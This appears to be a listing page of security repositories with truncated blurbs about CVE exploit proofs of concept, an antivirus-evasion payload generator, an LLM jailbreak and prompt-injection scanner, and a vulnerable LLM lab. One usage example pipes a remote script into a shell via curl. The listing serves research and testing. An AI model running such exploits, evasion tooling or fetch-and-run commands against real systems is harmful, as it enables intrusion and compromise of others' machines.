NginxHunter

NginxHunter Description NginxHunter is a comprehensive tool designed to analyze Nginx access logs for security vulnerabilities and suspicious activities. It detects SQL injection attempts, scanner tools, sensitive path accesses, exploitation attempts, webshells, and more. Ideal for system...

CVE-2024-32640

CVE-2024-32640 MySQL Blind SQL Injection Proof of Concept This Python script demonstrates a time-based blind SQL injection exploit for MySQL databases , specifically designed for CVE-2024-32640. It can be used to verify vulnerability in a target URL, and if the vulnerability exists, extract...

CVE-2026-33454

camel-mail Header Injection → RCE Vulnerability Reproducer CVE-2026-33454 This project demonstrates a Camel message header injection vulnerability in Apache Camel's camel-mail component, tracked as CVE-2026-33454. An attacker who can deliver an email to a mailbox monitored by a Camel mail consume...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX Unauthenticated SQLi → RCE One-shot exploit for the FreePBX Endpoint Manager unauthenticated SQL injection CVE-2025-57819, chained into remote code execution via the FreePBX cronjobs table. For authorized security testing / CTF use only. Vulnerability The endpoint module'...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 This is just a convenience script I wrote for testing. Output Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file...

CVE

CVE's Table CVE Number| Type| Company/Product| Description| Article Link| Repository Link ---|---|---|---|---|--- CVE-2026-9680| SQLi| Alibaba RDS MCP Servers| TBA| TBA| TBA CVE-2026-50335| LPE| Windows July 2026| TBA| TBA| TBA GHSA-73cv-556c-w3g6| SQLi| Apache Pinot MCP 3.1.0| Missing sanitizati...

augustus

Augustus - LLM vulnerability scanner for prompt injection, jailbreak, and adversarial attack testing Augustus - LLM Vulnerability Scanner Test large language models against 210+ adversarial attacks covering prompt injection, jailbreaks, encoding exploits, and data extraction. Augustus is a Go-bas...

PhantomEvasion

PHANTOM EVASION 3.0 Phantom-Evasion is an antivirus evasion tool written in python both compatible with python and python3 capable to generate almost fully undetectable executable even with the most common x86 msfvenom payload. The following OSs officialy support automatic setup: 1. Kali Linux 2...

DonkAI

Hands-on lab for the OWASP Top 10 for LLM Applications 2025 - no real LLM required. DonkAI is deliberately vulnerable web app you can run in one command and use to learn how LLM-integrated systems get broken by actually breaking them. Every OWASP LLM Top 10 category is represented by at least one...

CVE-2020-2034-POC

CVE-2020-2034-POC Determine the Version Running on the Palo Alto Network Firewall for the Global Protect Portal Recently a lot of critical vulnerabilities were announced by Palo Alto Networks here: https://security.paloaltonetworks.com/?severity=CRITICAL&product=PAN-OS&sort=-date This is a PoC to...

CVE-2023-30854

WWBN Avideo Authenticated RCE - OS Command Injection CVE-2023-30854 WWBN Avideo sqlFile $objClone-cloneSiteURLvideos/cache/clones/$json-sqlFile"; $log-add"Clone 2 of $totalSteps: Geting MySQL Dump file"; exec$cmd . " 2&1", $output, $returnval; We can control $objClone-cloneSiteURL through the adm...

CVE-2023-23333

Summary: There is a command injection vulnerability in SolarView Compact through 6.00, attackers can execute commands by bypassing internal restrictions through downloader.php. Vendor: SolarView Compact Affected Product: SolarView Compact Version: SolarView Compact =ver 6.00 poc: curl...

spring-cloud-gateway-rce

Spring Cloud Gateway Actuator API SpEL Expression Injection Command Execution CVE-2022-22947 1. Installation pip3 install -r requirements.txt 2. Usage $ python3 spring-cloud-gateway-rce.py -h / \ /\ /\ /\ | \ / \ | \ | \ | \ | \ / \ | || | | | / / \ \ / / /\ || | | | | | | || || || | / / / / \ V...

telnet_scan

Telnet Vulnerability Scanner CVE-2026-24061 & CVE-2026-32746 A Python-based security assessment tool that detects and where applicable exploits two critical vulnerabilities in GNU InetUtils telnetd: CVE-2026-24061 – Authentication bypass via USER environment variable injection CVSS 9.8...

CVE-2017-6079-Blind-Command-Injection-In-Edgewater-Edgemarc-Devices-Exploit

Introduction This exploit was developed based on the technical description by depthsecurity https://depthsecurity.com/blog/cve-2017-6079-blind-command-injection-in-edgewater-edgemarc-devices Description The HTTP web-management application on Edgewater Networks Edgemarc appliances has a hidden pag...

CVE-2023-49314

CVE-2023-49314 Asana Desktop 2.1.0 on macOS allows code injection because of specific Electron Fuses. There is inadequate protection against code injection through settings such as RunAsNode and enableNodeCliInspectArguments, and thus electroniz3r can be used to perform an attack. There is a tool...

CVE-2024-1698-Exploit

CVE-2024-1698 Exploit Script - Wordpress NotificationX = 2.8.2 - SQL Injection This is an exploit script to find out wordpress admin's username and password hash by exploiting CVE-2024-1698. This Python script is intended for educational purposes only. It demonstrates a proof of concept for...

CVE-2026-112032 aircheng-org iWebShop-5 util.php search sql injection

A vulnerability was identified in aircheng-org iWebShop-5 up to 5.16. Impacted is the function Util::search of the file classes/util.php. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit is publicly available and might be used. The project was...

CVE-2026-112032

A SQL injection vulnerability exists in aircheng-org iWebShop-5 versions up to 5.16 . The flaw is located in the Util::search function within the classes/util.php file. An attacker can initiate this attack remotely to manipulate database queries. While the project was notified early via an issue ...

CVE-2023-50094_POC

reNgine 2.2.0 - Command Injection - CVE-2023-50094 Description This Python script exploits an authenticated command injection vulnerability in reNgine 2.2.0. The exploit targets the nmapcmd parameter in the Scan Engine configuration, allowing attackers to execute arbitrary commands. Features...